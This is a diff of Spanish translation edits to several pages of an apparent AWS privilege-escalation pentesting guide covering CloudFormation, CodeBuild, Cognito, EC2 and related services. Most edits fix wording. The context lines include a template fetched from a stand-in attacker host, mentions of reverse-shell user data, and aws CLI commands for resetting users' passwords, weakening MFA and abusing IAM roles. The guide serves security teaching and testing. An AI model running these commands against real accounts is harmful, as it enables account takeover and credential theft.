 --template-url http://attacker.com/attackers.template \
@@ -37,21 +37,21 @@ aws cloudformation update-stack \
 --capabilities CAPABILITY_IAM \
 --region eu-west-1
 ```
-La `cloudformation:SetStackPolicy` permiso puede ser utilizado para **darte a ti mismo el permiso `UpdateStack`** sobre una pila y realizar el ataque.
+El permiso `cloudformation:SetStackPolicy` se puede utilizar para **darte a ti mismo el permiso `UpdateStack`** sobre una pila y realizar el ataque.
 
 **Impacto Potencial:** Privesc al rol de servicio de cloudformation especificado.
 
 ### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`
 
-Si tienes este permiso pero **sin `iam:PassRole`** aún puedes **actualizar las pilas** utilizadas y abusar de los **roles de IAM que ya tienen adjuntos**. Consulta la sección anterior para un ejemplo de explotación (simplemente no indiques ningún rol en la actualización).
+Si tienes este permiso pero **sin `iam:PassRole`**, aún puedes **actualizar las pilas** utilizadas y abusar de los **roles de IAM que ya tienen adjuntos**. Consulta la sección anterior para un ejemplo de explotación (simplemente no indiques ningún rol en la actualización).
 
-La `cloudformation:SetStackPolicy` permiso puede ser utilizado para **darte a ti mismo el permiso `UpdateStack`** sobre una pila y realizar el ataque.
+El permiso `cloudformation:SetStackPolicy` se puede utilizar para **darte a ti mismo el permiso `UpdateStack`** sobre una pila y realizar el ataque.
 
 **Impacto Potencial:** Privesc al rol de servicio de cloudformation ya adjunto.
 
 ### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
 
-Un atacante con permisos para **pasar un rol y crear & ejecutar un ChangeSet** puede **crear/actualizar una nueva pila de cloudformation abusando de los roles de servicio de cloudformation** al igual que con el CreateStack o UpdateStack.
+Un atacante con permisos para **pasar un rol y crear & ejecutar un ChangeSet** puede **crear/actualizar una nueva pila de cloudformation y abusar de los roles de servicio de cloudformation** al igual que con CreateStack o UpdateStack.
 
 La siguiente explotación es una **variación de la**[ **CreateStack one**](./#iam-passrole-cloudformation-createstack) utilizando los **permisos de ChangeSet** para crear una pila.
 ```bash
@@ -79,13 +79,13 @@ aws cloudformation describe-stacks \
 --stack-name privesc \
 --region eu-west-1
 ```
-La permiso `cloudformation:SetStackPolicy` se puede usar para **darte permisos de `ChangeSet`** sobre una pila y realizar el ataque.
+El permiso `cloudformation:SetStackPolicy` se puede usar para **otorgarte permisos de `ChangeSet`** sobre un stack y realizar el ataque.
 
 **Impacto Potencial:** Privesc a roles de servicio de cloudformation.
 
 ### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
 
-Esto es como el método anterior sin pasar **roles de IAM**, así que solo puedes **abusar de los ya adjuntos**, solo modifica el parámetro:
+Esto es como el método anterior sin pasar **roles de IAM**, así que solo puedes **abusar de los que ya están adjuntos**, solo modifica el parámetro:
 ```
 --change-set-type UPDATE
 ```
@@ -93,7 +93,7 @@ Esto es como el método anterior sin pasar **roles de IAM**, así que solo puede
 
 ### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`)
 
-Un atacante podría abusar de estos permisos para crear/actualizar StackSets para abusar de roles de cloudformation arbitrarios.
+Un atacante podría abusar de estos permisos para crear/actualizar StackSets y abusar de roles de cloudformation arbitrarios.
 
 **Impacto Potencial:** Privesc a los roles de servicio de cloudformation.
 

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md

@@ -114,7 +114,7 @@ aws codebuild delete-project --name codebuild-demo-project
 ```
 {{#endtab }}
 
-{{#tab name="Ejemplo2" }}
+{{#tab name="Example2" }}
 ```bash
 # Generated by AI, not tested
 # Create a buildspec.yml file with reverse shell command
@@ -188,7 +188,7 @@ aws codebuild start-build --project-name codebuild-demo-project
 
 ### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
 
-Al igual que en la sección anterior, pero **sin el permiso `iam:PassRole`**, puedes abusar de estos permisos para **modificar proyectos de Codebuild existentes y acceder al rol que ya tienen asignado**.
+Como en la sección anterior pero **sin el permiso `iam:PassRole`**, puedes abusar de estos permisos para **modificar proyectos de Codebuild existentes y acceder al rol que ya tienen asignado**.
 
 {{#tabs }}
 {{#tab name="StartBuild" }}
@@ -268,7 +268,7 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
 
 ### SSM
 
-Teniendo **suficientes permisos para iniciar una sesión ssm** es posible **entrar en un proyecto de Codebuild** que se está construyendo.
+Teniendo **suficientes permisos para iniciar una sesión ssm**, es posible **entrar en un proyecto de Codebuild** que se está construyendo.
 
 El proyecto de codebuild necesitará tener un punto de interrupción:
 
@@ -289,7 +289,7 @@ Para más información [**consulta la documentación**](https://docs.aws.amazon.
 
 ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
 
-Un atacante capaz de iniciar/reiniciar una construcción de un proyecto específico de CodeBuild que almacena su archivo `buildspec.yml` en un bucket de S3 al que el atacante tiene acceso de escritura, puede obtener ejecución de comandos en el proceso de CodeBuild.
+Un atacante que pueda iniciar/reiniciar una construcción de un proyecto específico de CodeBuild que almacena su archivo `buildspec.yml` en un bucket de S3 al que el atacante tiene acceso de escritura, puede obtener ejecución de comandos en el proceso de CodeBuild.
 
 Nota: la escalación es relevante solo si el trabajador de CodeBuild tiene un rol diferente, esperemos que más privilegiado, que el del atacante.
 ```bash
@@ -320,7 +320,7 @@ commands:
 **Impacto:** Privesc directo al rol utilizado por el trabajador de AWS CodeBuild que generalmente tiene altos privilegios.
 
 > [!WARNING]
-> Tenga en cuenta que el buildspec podría esperarse en formato zip, por lo que un atacante necesitaría descargar, descomprimir, modificar el `buildspec.yml` desde el directorio raíz, volver a comprimir y subir.
+> Tenga en cuenta que se podría esperar que el buildspec esté en formato zip, por lo que un atacante necesitaría descargar, descomprimir, modificar el `buildspec.yml` desde el directorio raíz, volver a comprimir y subir.
 
 Más detalles se pueden encontrar [aquí](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
 

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md

@@ -12,11 +12,11 @@ Para más información sobre codepipeline, consulta:
 
 ### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution`
 
-Al crear un pipeline de código, puedes indicar un **rol IAM de codepipeline para ejecutar**, por lo tanto, podrías comprometerlos.
+Al crear un code pipeline, puedes indicar un **rol IAM de codepipeline para ejecutar**, por lo tanto, podrías comprometerlos.
 
 Aparte de los permisos anteriores, necesitarías **acceso al lugar donde se almacena el código** (S3, ECR, github, bitbucket...)
 
-Probé esto realizando el proceso en la página web, los permisos indicados anteriormente no son los de List/Get necesarios para crear un pipeline de código, pero para crearlo en la web también necesitarás: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:<varios>`
+Probé esto realizando el proceso en la página web, los permisos indicados anteriormente no son los de List/Get necesarios para crear un codepipeline, pero para crearlo en la web también necesitarás: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:<varios>`
 
 Durante la **creación del proyecto de construcción**, puedes indicar un **comando para ejecutar** (¿rev shell?) y ejecutar la fase de construcción como **usuario privilegiado**, esa es la configuración que el atacante necesita para comprometer:
 
@@ -26,7 +26,7 @@ Durante la **creación del proyecto de construcción**, puedes indicar un **coma
 
 ### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution`
 
-Podría ser posible modificar el rol utilizado y el comando ejecutado en un pipeline de código con los permisos anteriores.
+Podría ser posible modificar el rol utilizado y el comando ejecutado en un codepipeline con los permisos anteriores.
 
 ### `codepipeline:pollforjobs`
 

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md

@@ -52,12 +52,12 @@ codestar-createproject-codestar-associateteammember.md
 1. **Crear un Nuevo Proyecto:**
 - Utiliza la acción **`codestar:CreateProjectFromTemplate`** para iniciar la creación de un nuevo proyecto.
 - Tras la creación exitosa, se otorga automáticamente acceso para **`cloudformation:UpdateStack`**.
-- Este acceso se dirige específicamente a una pila asociada con el rol IAM `CodeStarWorker-<nombre de proyecto genérico>-CloudFormation`.
+- Este acceso se dirige específicamente a una pila asociada con el rol IAM `CodeStarWorker-<nombre del proyecto genérico>-CloudFormation`.
 2. **Actualizar la Pila Objetivo:**
 - Con los permisos de CloudFormation otorgados, procede a actualizar la pila especificada.
 - El nombre de la pila generalmente se ajustará a uno de dos patrones:
-- `awscodestar-<nombre de proyecto genérico>-infrastructure`
-- `awscodestar-<nombre de proyecto genérico>-lambda`
+- `awscodestar-<nombre del proyecto genérico>-infrastructure`
+- `awscodestar-<nombre del proyecto genérico>-lambda`
 - El nombre exacto depende de la plantilla elegida (referenciando el script de explotación de ejemplo).
 3. **Acceso y Permisos:**
 - Después de la actualización, obtienes las capacidades asignadas al **rol IAM de CloudFormation** vinculado con la pila.

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md

@@ -4,7 +4,7 @@
 
 Con estos permisos puedes **abusar de un rol IAM de codestar** para realizar **acciones arbitrarias** a través de una **plantilla de cloudformation**.
 
-Para explotar esto, necesitas crear un **bucket S3 que sea accesible** desde la cuenta atacada. Sube un archivo llamado `toolchain.json`. Este archivo debe contener el **exploit de la plantilla de cloudformation**. El siguiente se puede usar para establecer una política administrada a un usuario bajo tu control y **darle permisos de administrador**:
+Para explotar esto, necesitas crear un **bucket S3 que sea accesible** desde la cuenta atacada. Sube un archivo llamado `toolchain.json`. Este archivo debe contener la **plantilla de exploit de cloudformation**. La siguiente puede ser utilizada para establecer una política administrada a un usuario bajo tu control y **darle permisos de administrador**:
 ```json:toolchain.json
 {
 "Resources": {
@@ -79,6 +79,6 @@ aws codestar create-project \
 --source-code file://$SOURCE_CODE_PATH \
 --toolchain file://$TOOLCHAIN_PATH
 ```
-Este exploit se basa en el **exploit de Pacu de estos privilegios**: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) En él puedes encontrar una variación para crear una política administrada por el administrador para un rol en lugar de para un usuario.
+Este exploit se basa en el **exploit de Pacu de estos privilegios**: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) En él puedes encontrar una variación para crear una política administrada por un administrador para un rol en lugar de para un usuario.
 
 {{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md

@@ -12,7 +12,7 @@ Para más información sobre Cognito, consulta:
 
 ### Recolección de credenciales del Identity Pool
 
-Como Cognito puede otorgar **credenciales de rol de IAM** tanto a **usuarios autenticados** como a **no autenticados**, si localizas el **ID del Identity Pool** de una aplicación (debería estar codificado en ella), puedes obtener nuevas credenciales y, por lo tanto, privesc (dentro de una cuenta de AWS donde probablemente no tenías ninguna credencial previamente).
+Como Cognito puede otorgar **credenciales de rol IAM** tanto a **usuarios autenticados** como a **no autenticados**, si localizas el **ID del Identity Pool** de una aplicación (debería estar codificado en ella), puedes obtener nuevas credenciales y, por lo tanto, privesc (dentro de una cuenta de AWS donde probablemente no tenías ninguna credencial previamente).
 
 Para más información [**consulta esta página**](../aws-unauthenticated-enum-access/#cognito).
 
@@ -73,7 +73,7 @@ aws cognito-identity update-identity-pool \
 
 ### `cognito-idp:AdminAddUserToGroup`
 
-Este permiso permite **agregar un usuario de Cognito a un grupo de Cognito**, por lo tanto, un atacante podría abusar de este permiso para agregar un usuario bajo su control a otros grupos con **mejores** privilegios o **diferentes roles IAM**:
+Este permiso permite **agregar un usuario de Cognito a un grupo de Cognito**, por lo tanto, un atacante podría abusar de este permiso para agregar a un usuario bajo su control a otros grupos con **mejores** privilegios o **diferentes roles IAM**:
 ```bash
 aws cognito-idp admin-add-user-to-group \
 --user-pool-id <value> \
@@ -92,7 +92,7 @@ aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> -
 
 ### `cognito-idp:AdminConfirmSignUp`
 
-Este permiso permite **verificar un registro**. Por defecto, cualquiera puede iniciar sesión en aplicaciones de Cognito; si eso se deja, un usuario podría crear una cuenta con cualquier dato y verificarla con este permiso.
+Este permiso permite **verificar un registro**. Por defecto, cualquier persona puede iniciar sesión en aplicaciones de Cognito; si eso se deja, un usuario podría crear una cuenta con cualquier dato y verificarla con este permiso.
 ```bash
 aws cognito-idp admin-confirm-sign-up \
 --user-pool-id <value> \
@@ -129,7 +129,7 @@ Este permiso permite iniciar sesión con el [**método ADMIN_USER_PASSWORD_AUTH*
 
 ### `cognito-idp:AdminSetUserPassword`
 
-Este permiso permitiría a un atacante **cambiar la contraseña de cualquier usuario**, permitiéndole hacerse pasar por cualquier usuario (que no tenga MFA habilitado).
+Este permiso permitiría a un atacante **cambiar la contraseña de cualquier usuario**, permitiéndole suplantar a cualquier usuario (que no tenga MFA habilitado).
 ```bash
 aws cognito-idp admin-set-user-password \
 --user-pool-id <value> \
@@ -148,7 +148,7 @@ aws cognito-idp admin-set-user-settings \
 --username <value> \
 --mfa-options <value>
 ```
-**SetUserMFAPreference:** Similar a la anterior, este permiso se puede utilizar para establecer las preferencias de MFA de un usuario y eludir la protección de MFA.
+**SetUserMFAPreference:** Similar al anterior, este permiso se puede utilizar para establecer las preferencias de MFA de un usuario para eludir la protección de MFA.
 ```bash
 aws cognito-idp admin-set-user-mfa-preference \
 [--sms-mfa-settings <value>] \
@@ -164,7 +164,7 @@ aws cognito-idp set-user-pool-mfa-config \
 [--software-token-mfa-configuration <value>] \
 [--mfa-configuration <value>]
 ```
-**UpdateUserPool:** También es posible actualizar el grupo de usuarios para cambiar la política de MFA. [Consulta cli aquí](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
+**UpdateUserPool:** También es posible actualizar el grupo de usuarios para cambiar la política de MFA. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
 
 **Potential Impact:** Privesc indirecto a potencialmente cualquier usuario cuyas credenciales conozca el atacante, esto podría permitir eludir la protección de MFA.
 
@@ -178,11 +178,11 @@ aws cognito-idp admin-update-user-attributes \
 --username <value> \
 --user-attributes <value>
 ```
-**Impacto Potencial:** Privesc indirecto potencial en la aplicación subyacente que utiliza Cognito User Pool que otorga privilegios basados en atributos de usuario.
+**Impacto Potencial:** Potencial privesc indirecto en la aplicación subyacente que utiliza Cognito User Pool, que otorga privilegios basados en atributos de usuario.
 
 ### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
 
-Un atacante con este permiso podría **crear un nuevo Cliente de User Pool menos restringido** que los clientes de pool existentes. Por ejemplo, el nuevo cliente podría permitir cualquier tipo de método para autenticar, no tener ningún secreto, tener la revocación de tokens deshabilitada, permitir que los tokens sean válidos por un período más largo...
+Un atacante con este permiso podría **crear un nuevo User Pool Client menos restringido** que los clientes de pool existentes. Por ejemplo, el nuevo cliente podría permitir cualquier tipo de método para autenticar, no tener ningún secreto, tener la revocación de tokens deshabilitada, permitir que los tokens sean válidos por un período más largo...
 
 Lo mismo se puede hacer si en lugar de crear un nuevo cliente, se **modifica uno existente**.
 
@@ -234,28 +234,28 @@ aws cognito-idp create-identity-provider \
 
 ### cognito-sync:\* Análisis
 
-Este es un permiso muy común por defecto en los roles de los Grupos de Identidad de Cognito. Aunque un comodín en los permisos siempre se ve mal (especialmente viniendo de AWS), los **permisos otorgados no son muy útiles desde la perspectiva de un atacante**.
+Este es un permiso muy común por defecto en los roles de Cognito Identity Pools. Aunque un comodín en los permisos siempre se ve mal (especialmente viniendo de AWS), los **permisos otorgados no son muy útiles desde la perspectiva de un atacante**.
 
-Este permiso permite leer información de uso de los Grupos de Identidad e IDs de Identidad dentro de los Grupos de Identidad (lo cual no es información sensible).\
-Los IDs de Identidad pueden tener [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) asignados a ellos, que son información de las sesiones (AWS lo define como un **juego guardado**). Podría ser posible que esto contenga algún tipo de información sensible (pero la probabilidad es bastante baja). Puedes encontrar en la [**página de enumeración**](../aws-services/aws-cognito-enum/) cómo acceder a esta información.
+Este permiso permite leer información de uso de los Identity Pools y los Identity IDs dentro de los Identity Pools (lo cual no es información sensible).\
+Los Identity IDs pueden tener [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) asignados a ellos, que son información de las sesiones (AWS lo define como un **juego guardado**). Podría ser posible que esto contenga algún tipo de información sensible (pero la probabilidad es bastante baja). Puedes encontrar en la [**página de enumeración**](../aws-services/aws-cognito-enum/) cómo acceder a esta información.
 
-Un atacante también podría usar estos permisos para **inscribirse en un flujo de Cognito que publica cambios** en estos datasets o una **lambda que se activa en eventos de cognito**. No he visto que esto se use, y no esperaría información sensible aquí, pero no es imposible.
+Un atacante también podría usar estos permisos para **inscribirse en un flujo de Cognito que publica cambios** en estos datasets o en una **lambda que se activa en eventos de cognito**. No he visto que esto se use, y no esperaría información sensible aquí, pero no es imposible.
 
 ### Herramientas Automáticas
 
 - [Pacu](https://github.com/RhinoSecurityLabs/pacu), el marco de explotación de AWS, ahora incluye los módulos "cognito\_\_enum" y "cognito\_\_attack" que automatizan la enumeración de todos los activos de Cognito en una cuenta y marcan configuraciones débiles, atributos de usuario utilizados para el control de acceso, etc., y también automatizan la creación de usuarios (incluido el soporte MFA) y la escalada de privilegios basada en atributos personalizados modificables, credenciales de grupo de identidades utilizables, roles asumibles en tokens de id, etc.
 
-Para una descripción de las funciones de los módulos, consulta la parte 2 de la [entrada del blog](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Para instrucciones de instalación, consulta la página principal de [Pacu](https://github.com/RhinoSecurityLabs/pacu).
+Para una descripción de las funciones de los módulos, consulta la parte 2 del [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Para instrucciones de instalación, consulta la página principal de [Pacu](https://github.com/RhinoSecurityLabs/pacu).
 
 #### Uso
 
-Ejemplo de uso de cognito\_\_attack para intentar la creación de usuarios y todos los vectores de privesc contra un grupo de identidades y cliente de grupo de usuarios dados:
+Ejemplo de uso de cognito\_\_attack para intentar la creación de usuarios y todos los vectores de privesc contra un grupo de identidades y un cliente de grupo de usuarios dados:
 ```bash
 Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
 us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
 ```
-Ejemplo de uso de cognito\_\_enum para recopilar todos los grupos de usuarios, clientes de grupos de usuarios, grupos de identidades, usuarios, etc. visibles en la cuenta de AWS actual:
+Uso de cognito\_\_enum para recopilar todos los grupos de usuarios, clientes de grupos de usuarios, grupos de identidades, usuarios, etc. visibles en la cuenta de AWS actual:
 ```bash
 Pacu (new:test) > run cognito__enum
 ```

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md

@@ -50,7 +50,7 @@ Después de la creación del pipeline, el atacante actualiza su definición para
 }
 ```
 > [!NOTE]
-> Tenga en cuenta que el **rol** en **la línea 14, 15 y 27** debe ser un rol **asumible por datapipeline.amazonaws.com** y el rol en **la línea 28** debe ser un **rol asumible por ec2.amazonaws.com con un perfil de instancia EC2**.
+> Tenga en cuenta que el **rol** en **la línea 14, 15 y 27** necesita ser un rol **asumible por datapipeline.amazonaws.com** y el rol en **la línea 28** necesita ser un **rol asumible por ec2.amazonaws.com con un perfil de instancia EC2**.
 >
 > Además, la instancia EC2 solo tendrá acceso al rol asumible por la instancia EC2 (por lo que solo puede robar ese).
 ```bash

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md

@@ -12,7 +12,7 @@ Para más información sobre dynamodb, consulta:
 
 ### Post Explotación
 
-Hasta donde sé, **no hay una forma directa de escalar privilegios en AWS solo por tener algunos permisos de AWS `dynamodb`**. Puedes **leer información sensible** de las tablas (que podrían contener credenciales de AWS) y **escribir información en las tablas** (lo que podría desencadenar otras vulnerabilidades, como inyecciones de código lambda...) pero todas estas opciones ya están consideradas en la **página de Post Explotación de DynamoDB**:
+Hasta donde sé, **no hay una forma directa de escalar privilegios en AWS solo con tener algunos permisos de AWS `dynamodb`**. Puedes **leer información sensible** de las tablas (que podrían contener credenciales de AWS) y **escribir información en las tablas** (lo que podría desencadenar otras vulnerabilidades, como inyecciones de código lambda...) pero todas estas opciones ya están consideradas en la **página de Post Explotación de DynamoDB**:
 
 {{#ref}}
 ../aws-post-exploitation/aws-dynamodb-post-exploitation.md

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md

@@ -20,7 +20,7 @@ La herramienta [https://github.com/Static-Flow/CloudCopy](https://github.com/Sta
 
 ### **`ec2:CreateSnapshot`**
 
-Cualquier usuario de AWS que posea el permiso **`EC2:CreateSnapshot`** puede robar los hashes de todos los usuarios del dominio creando una **instantánea del Controlador de Dominio**, montándola en una instancia que controlan y **exportando el archivo NTDS.dit y el registro SYSTEM** para su uso con el proyecto secretsdump de Impacket.
+Cualquier usuario de AWS que posea el **`EC2:CreateSnapshot`** permiso puede robar los hashes de todos los usuarios del dominio creando una **instantánea del Controlador de Dominio**, montándola en una instancia que controlan y **exportando el archivo NTDS.dit y el registro SYSTEM** para su uso con el proyecto secretsdump de Impacket.
 
 Puedes usar esta herramienta para automatizar el ataque: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) o podrías usar una de las técnicas anteriores después de crear una instantánea.
 

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md

@@ -4,7 +4,7 @@
 
 ## EC2
 
-Para más **info sobre EC2** consulta:
+Para más **información sobre EC2** consulta:
 
 {{#ref}}
 ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -34,7 +34,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
 --count 1 \
 --user-data "file:///tmp/rev.sh"
 ```
-Ten cuidado con GuardDuty si usas las credenciales del rol IAM fuera de la instancia:
+Ten cuidado con GuardDuty si usas las credenciales del rol de IAM fuera de la instancia:
 
 {{#ref}}
 ../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
@@ -65,7 +65,7 @@ Para aprender a **forzar los servicios de ECS a ejecutarse** en esta nueva insta
 aws-ecs-privesc.md
 {{#endref}}
 
-Si **no puedes crear una nueva instancia** pero tienes el permiso `ecs:RegisterContainerInstance`, podrías ser capaz de registrar la instancia dentro del clúster y realizar el ataque comentado.
+Si **no puedes crear una nueva instancia** pero tienes el permiso `ecs:RegisterContainerInstance`, podrías registrar la instancia dentro del clúster y realizar el ataque comentado.
 
 **Impacto Potencial:** Privesc directo a los roles de ECS adjuntos a las tareas.
 
@@ -80,7 +80,7 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
 # Add role to instance profile
 aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
 ```
-Si el **perfil de instancia tiene un rol** y el atacante **no puede eliminarlo**, hay otra solución. Podría **encontrar** un **perfil de instancia sin un rol** o **crear uno nuevo** (`iam:CreateInstanceProfile`), **agregar** el **rol** a ese **perfil de instancia** (como se discutió anteriormente) y **asociar el perfil de instancia** comprometido a una i**nstance comprometida:**
+Si el **perfil de instancia tiene un rol** y el atacante **no puede eliminarlo**, hay otra solución. Podría **encontrar** un **perfil de instancia sin un rol** o **crear uno nuevo** (`iam:CreateInstanceProfile`), **agregar** el **rol** a ese **perfil de instancia** (como se discutió anteriormente) y **asociar el perfil de instancia** comprometido a una **instancia** comprometida:
 
 - Si la instancia **no tiene ningún perfil de instancia** (`ec2:AssociateIamInstanceProfile`) \*
 ```bash
@@ -90,7 +90,7 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --ins
 
 ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
 
-Con estos permisos es posible cambiar el perfil de instancia asociado a una instancia, por lo que si el ataque ya tenía acceso a una instancia, podrá robar credenciales para más roles de perfil de instancia cambiando el asociado a ella.
+Con estos permisos es posible cambiar el perfil de instancia asociado a una instancia, por lo que si el ataque ya tenía acceso a una instancia, podrá robar credenciales para más roles de perfil de instancia cambiando el que está asociado a ella.
 
 - Si **tiene un perfil de instancia**, puedes **eliminar** el perfil de instancia (`ec2:DisassociateIamInstanceProfile`) y **asociarlo** \*
 ```bash
@@ -123,7 +123,7 @@ aws ec2 request-spot-instances \
 
 Un atacante con el **`ec2:ModifyInstanceAttribute`** puede modificar los atributos de las instancias. Entre ellos, puede **cambiar los datos del usuario**, lo que implica que puede hacer que la instancia **ejecute datos arbitrarios.** Esto se puede utilizar para obtener un **rev shell a la instancia EC2**.
 
-Tenga en cuenta que los atributos solo se pueden **modificar mientras la instancia está detenida**, por lo que los **permisos** **`ec2:StopInstances`** y **`ec2:StartInstances`**.
+Tenga en cuenta que los atributos solo se pueden **modificar mientras la instancia está detenida**, por lo que se requieren los **permisos** **`ec2:StopInstances`** y **`ec2:StartInstances`**.
 ```bash
 TEXT='Content-Type: multipart/mixed; boundary="//"
 MIME-Version: 1.0
@@ -178,11 +178,11 @@ aws ec2 modify-launch-template \
 --launch-template-name bad_template \
 --default-version 2
 ```
-**Impacto Potencial:** Privesc directo a un rol EC2 diferente.
+**Impacto Potencial:** Privesc directo a un rol de EC2 diferente.
 
 ### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`
 
-Un atacante con los permisos **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** puede **crear una Configuración de Lanzamiento** con un **Rol IAM** y un **rev shell** dentro de los **datos del usuario**, luego **crear un grupo de escalado automático** a partir de esa configuración y esperar a que el rev shell **robe el Rol IAM**.
+Un atacante con los permisos **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** puede **crear una Configuración de Lanzamiento** con un **Rol de IAM** y un **rev shell** dentro de los **datos del usuario**, luego **crear un grupo de autoscaling** a partir de esa configuración y esperar a que el rev shell **robe el Rol de IAM**.
 ```bash
 aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
 --launch-configuration-name bad_config \
@@ -219,7 +219,7 @@ aws ec2-instance-connect send-ssh-public-key \
 
 Un atacante con el permiso **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** puede **agregar una clave ssh a una conexión serial**. Si la serial no está habilitada, el atacante necesita el permiso **`ec2:EnableSerialConsoleAccess` para habilitarla**.
 
-Para conectarse al puerto serial, también **necesita conocer el nombre de usuario y la contraseña de un usuario** dentro de la máquina.
+Para conectarse al puerto serial también **necesita conocer el nombre de usuario y la contraseña de un usuario** dentro de la máquina.
 ```bash
 aws ec2 enable-serial-console-access
 
@@ -231,9 +231,9 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
 
 ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
 ```
-De esta manera, no es tan útil para privesc ya que necesitas conocer un nombre de usuario y una contraseña para explotarlo.
+Este método no es tan útil para privesc ya que necesitas conocer un nombre de usuario y una contraseña para explotarlo.
 
-**Impacto Potencial:** (Altamente improbable) Privesc directo a los roles IAM de EC2 adjuntos a las instancias en ejecución.
+**Impacto Potencial:** (Altamente improbable) Privesc directo a los roles de IAM de EC2 adjuntos a las instancias en ejecución.
 
 ### `describe-launch-templates`,`describe-launch-template-versions`
 

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md

@@ -39,7 +39,7 @@ aws ecr set-repository-policy \
 --repository-name <repo_name> \
 --policy-text file://my-policy.json
 ```
-Contenido de `my-policy.json`:
+Contenidos de `my-policy.json`:
 ```json
 {
 "Version": "2008-10-17",
@@ -87,7 +87,7 @@ echo '{
 # Apply the malicious public repository policy to the ECR Public repository
 aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
 ```
-**Impacto Potencial**: Acceso público no autorizado al repositorio ECR Público, permitiendo a cualquier usuario subir, bajar o eliminar imágenes.
+**Impacto Potencial**: Acceso público no autorizado al repositorio ECR Public, permitiendo a cualquier usuario subir, bajar o eliminar imágenes.
 
 ### `ecr:PutRegistryPolicy`
 

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md

@@ -145,7 +145,7 @@ aws ecs run-task --task-definition iam_exfiltration \
 ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
 
